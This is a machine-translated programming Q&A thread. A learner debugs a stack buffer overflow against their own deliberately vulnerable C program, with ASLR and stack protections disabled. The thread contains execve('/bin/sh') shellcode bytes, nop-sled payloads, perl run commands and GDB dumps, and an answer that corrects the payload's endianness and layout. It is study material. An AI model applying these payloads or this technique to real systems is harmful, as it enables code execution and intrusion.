2016-07-16 16 views
3

私はこのチュートリアルを使用してバッファオーバーフロー攻撃を実行しようとしています 私の投稿のすべてはGDBの中で直接実行されます。私はバッファオーバーフローを悪用しようとしていますが、何か間違っていますか?

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

、これは私は、バッファオーバーフローを利用したいと考えたコードです。

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int  main(int argc, char *argv[]) 
{ 
    char buff[256]; 

    if (argc == 1) 
    { 
     printf("Usage: %s input\n", argv[0]); 
     exit (0); 
    } 
    strcpy(buff, argv[1]); 
    printf("%s\n", buff); 
    return (1); 
} 

私は現在Linux mint 18で作業していますが、プロセッサ64bitsがあります。 私は64ビットアーキテクチャーを持っているとします。すべてのアドレスは8バイトです。 今、私の現在のスタックフレームを想像してみましょう。


|バフ[256] |


| RBP |


| RIPを保存する|


私の目標は、「ノップスレッド」のアドレスで「SAVE RIP」を上書きすることです。 私は64ビットアーキテクチャを採用しています。変数buffに256 + 8文字を入力します。 8文字はRBPポインタを上書きする役目を果たす。私はperlを使って上書きします。シェルコードは、現在の長さの26

でありので、私は26を減算Iは

perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

に従っチュートリアルで提供されシェルコードを使用して

perl -e 'print "\x90" x 264'

そして。私はGDBを使って自分のノップスレッドのアドレスを調べるつもりです。

0x00000000004005f6 <+0>: push rbp 
    0x00000000004005f7 <+1>: mov rbp,rsp 
    0x00000000004005fa <+4>: sub rsp,0x110 
    0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi 
    0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi 
    0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1 
    0x0000000000400615 <+31>: jne 0x40063d <main+71> 
    0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110] 
    0x000000000040061e <+40>: mov rax,QWORD PTR [rax] 
    0x0000000000400621 <+43>: mov rsi,rax 
    0x0000000000400624 <+46>: mov edi,0x400704 
    0x0000000000400629 <+51>: mov eax,0x0 
    0x000000000040062e <+56>: call 0x4004c0 <[email protected]> 
    0x0000000000400633 <+61>: mov edi,0x0 
    0x0000000000400638 <+66>: call 0x4004e0 <[email protected]> 
    0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110] 
    0x0000000000400644 <+78>: add rax,0x8 
    0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax] 
    0x000000000040064b <+85>: lea rax,[rbp-0x100] 
    0x0000000000400652 <+92>: mov rsi,rdx 
    0x0000000000400655 <+95>: mov rdi,rax 
    0x0000000000400658 <+98>: call 0x4004a0 <[email protected]> 
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100] 
    0x0000000000400664 <+110>: mov rdi,rax 
    0x0000000000400667 <+113>: call 0x4004b0 <[email protected]> 
    0x000000000040066c <+118>: mov eax,0x1 
    0x0000000000400671 <+123>: leave 
    0x0000000000400672 <+124>: ret  

strcpy関数の後にブレークポイントjusteを追加します。そして、私は

0x7fffffffde20: 0xffffe018 

は、その後、私は

x/s 0x7fffffffde20 

を押し 'を実行するつもりです私を見る

x/x $rsp 

を使用して、NOPそりの初めを見つけるためにしようとしています私が探しているものが見つかるまで入力してください。

今、2番目の問題になります。私は

0x7fffffffe32d: '\220' <repeats 200 times>... 
(gdb) 
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀" 

0x7fffffffde30: '\220' <repeats 200 times>... 
(gdb) 
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀" 

を選択するかを知らないNOPスレッドが含まれているように見える二つの異なるアドレスを見つけ、私はそれらの両方を試してみることにしました。しかし、私が最初のものを使用していると仮定すると、より正確には0x7fffffffde30です。 (エンディアンの車を忘れることなく)。

私は、次のコマンドラインを使用して、私のコードを実行しようとするでしょう:

(gdb) run `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'` 

RIPが正しく願望アドレスによって上書きされたならば、私は確認してください。

(gdb) info frame 
Stack level 0, frame at 0x7fffffffdf30: 
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f 
source language c. 
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008 
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30 
Saved registers: 
    rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28 
(gdb) 

保存されたRIPが希望のアドレスで正常に上書きされたことがわかります。 今の主な問題は、シェルを開かずに私のプログラムsegfaultを "続ける"を押すことです。私はチュートリアルで説明しているとおりに誰でも私を説明することができます:

- なぜ私はバッファ内に263バイトを書き込むのか?私は "RIPを保存する"を上書きすると、プログラムはセグメンテーションすることができます。それはRBPでも同じですか?

- 私は選択しなければならない私のノップスレッドを含む2つの異なるアドレスを見つけましたか?

-最後に、あなたによれば、私は何か間違ったことをしたのですか、それとも論理的でないようですか?なぜ私の悪用がうまくいくのか分かりませんし、私のような問題を抱えているインターネット上の誰も見つけられませんでした。私は

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc 
hacking.c -fno-stack-protector -g3 -z execstack 

はEDITこの方法を使用してコンパイルしてい

おかげ

はあなたのコメントありがとうございました。私はあなたが私に言ったことをしましたが、それはまだsegfaultです。

こんにちは@russtone。

ありがとう、私はあなたが私に言ったことをしたが、それでもsegfault。

` 
(gdb) x/300bx $rsp 
0x7fffffffdc70: 0x68 0xde 0xff 0xff 0xff 0x7f 0x00 0x00 
0x7fffffffdc78: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00 

===> 0x7fffffffdc80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 

0x7fffffffdc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdce0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdce8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcf0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdcf8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffdd68: 0x90 0x90 0x90 0x48 0x31 0xff 0x57 0x57 
0x7fffffffdd70: 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69 
0x7fffffffdd78: 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08 
0x7fffffffdd80: 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05 
0x7fffffffdd88: 0x90 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00 
0x7fffffffdd90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 

このアドレスは、エンディアンを忘れずに使用します。

"0x7fffffffdc80" 私に与える

"\ X80 \ XDC \ XFF \ XFF \ XFF \ x7f" だから

GDBの最後のコマンドis

(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'` 

その後、

は表示

継続

を続けます。 H1 WW^ZH // bin /shH WT_j; X

プログラム受信信号SIGSEGV、セグメンテーションフォルト。 0x00007fffffffdd80? ()

おかげで、私は、バッファ内の263バイトを書くとき、それはセグメンテーションフォールトなぜ

+0

こんにちは@ S7_0は、あなたがstrcpy' ''後に情報frame'の出力を表示することができます。あなただけのbufの途中のどこかで、あなたのシェルコードを置くことができ、これを回避するために

? – russtone

+0

Hello @russtone ' スタックレベル0、フレーム0x7fffffffdc90: メイン(hacking.c:15)のrip = 0x40065d。保存されたrip = 0x7fffffffdc80 ソース言語c。 0x7fffffffdc80で 引数リスト、引数:argcの= 2、ARGV = 0x7fffffffdd68 ローカル0x7fffffffdc80で、前のフレームのspは0x7fffffffdc90 保存されるレジスタ:0x7fffffffdc80で RBP、に注意する0x7fffffffdc88 ' –

+0

でリッピングもう一つは、かなり多くいることです現代のLinuxディストリビューションでは、実行不可能なスタックを使用しています。 'pmap $$'があなたのシェルのメモリマップを表示するはずです。 '00007ffd3bd6c000 132K rw --- [スタック]'(rwに注意してください。ただし、xはありません)を参照すると、デフォルトでは実行不可のスタックが使用されます。 –

答えて

5

?私は "RIPを保存する"を上書きすると、プログラムはセグメンテーションすることができます。それはRBPでも同じですか?

たとえば、プログラムが属していないアドレス0x30deffffff7fのメモリにアクセスしようとすると、セグメンテーションフォルトが発生します。 0x30deffffff7fではなく0x7fffffffde30でRIPを上書きしたいが、間違ったペイロードを渡す。あなたのペイロードにlittle-endianアーキテクチャを持っている代わりにするので:

... "\x7f\xff\xff\xff\xde\x30" 

あなたが合格する必要があります。

... "\x30\xde\xff\xff\xff\x7e" 

はまた、私はx/s $rspが最善の方法ではありませんので、あなたシェルコードのアドレスが0x7fffffffde30であることはよく分かりませんそれを知る。 shelcodeは"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"、それは0x7fffffffd240ようなものにできるためのアドレスである上記の例では

(gdb) x/300bx $rsp 
0x7fffffffd220: 0x18 0xd4 0xff 0xff 0xff 0x7f 0x00 0x00 
0x7fffffffd228: 0xf6 0x77 0xde 0xf7 0x02 0x00 0x00 0x00 
0x7fffffffd230: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd238: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd240: 0x90 0x90 0x90 0x90 0x48 0x31 0xff 0x57 
0x7fffffffd248: 0x57 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 
0x7fffffffd250: 0x69 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 
0x7fffffffd258: 0x08 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 
0x7fffffffd260: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd268: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd270: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd278: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd280: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd288: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd290: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd298: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2a8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 
0x7fffffffd338: 0x40 0xd2 0xff 0xff 0xff 0x7f 0x00 0x00 
0x7fffffffd340: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 
0x7fffffffd348: 0x18 0xd4 0xff 0xff 

:のようなものを使用することをお勧めします。

私は選択しなければならない私のノップスレッドを含む2つの異なるアドレスを見つけましたか?

最初のアドレスはバッファchar buff[256]で、2番目のアドレスはargv[1]です。 Unixのようなシステムではargvをスタックに置くので、あなたの例ではどちらを選ぶかは関係ありません。しかし、一般的には(どのOSでも)、char buff[256]のアドレスを使用する必要があります。

最後に、あなたによれば、私は何か間違ったことをしたのか、それとも論理的でないように見えるのですか?なぜ私の悪用がうまくいくのか分かりませんし、私のような問題を抱えているインターネット上の誰も見つけられませんでした。

最初に述べたことは、endiannessです。リトルエンディアンマシンがあるので、\x7f\xff\xff\xff\xde\x30の代わりに\x30\xde\xff\xff\xff\x7eを渡す必要があります。

もう1つはシェルコードです。 x86プログラムの例のシェルコードを使用していますが、x64のシェルコードが必要です。あなたはこのようなものを使用することができます。

SECTION .text 
global _start 
_start: 
    xor rdi, rdi 
    push rdi 
    push rdi 
    pop rsi 
    pop rdx 
    mov rdi, 0x68732f6e69622f2f ; hs/nib// 
    shr rdi, 8 ; \x00hs/nib/ 
    push rdi 
    push rsp 
    pop rdi 
    push 0x3b ; execve 
    pop rax 
    syscall 

バイトコードにされる:

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" 

は、この情報がお役に立てば幸いです。がんばろう!

UPDATE

オクラホマので、今はripを上書きし、GDBの出力に応じて、あなたは成功したアドレスを修正するために飛び込みました。

問題は、シェルコードがバッファに近すぎるということです。

leave 
ret 

あなたは(leaveすなわちmov rsp, rbp; pop rbp後)addr_1rsp = addr_2 + 8に跳ね上がったコマンドの後main関数の最後に続いて

Stack layout

は、このようにあなたは、画像を取得します。しかし、シェルコードの最初には、$rsp = addr_2 + 8 - 16 = addr_2 - 8の実行後に2 push命令を見ることができます。しかし、addr_2 - 8はあなたのシェルコードの最後の8バイトです!したがって、シェルコードが上書きされ、segfaultが取得されます。

(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'` 
+0

あなたの答えをありがとう、私は私の元の記事を編集しました。 :) –

+0

この男は良いです。 –

+0

こんにちは@russtone、シェルコードの上書きについてもっと正確に言えますか? addr_2 - 8は私のシェルコードの最後の8バイトであるため、なぜそれが上書きされるのかは分かりません。ありがとう:)) –

関連する問題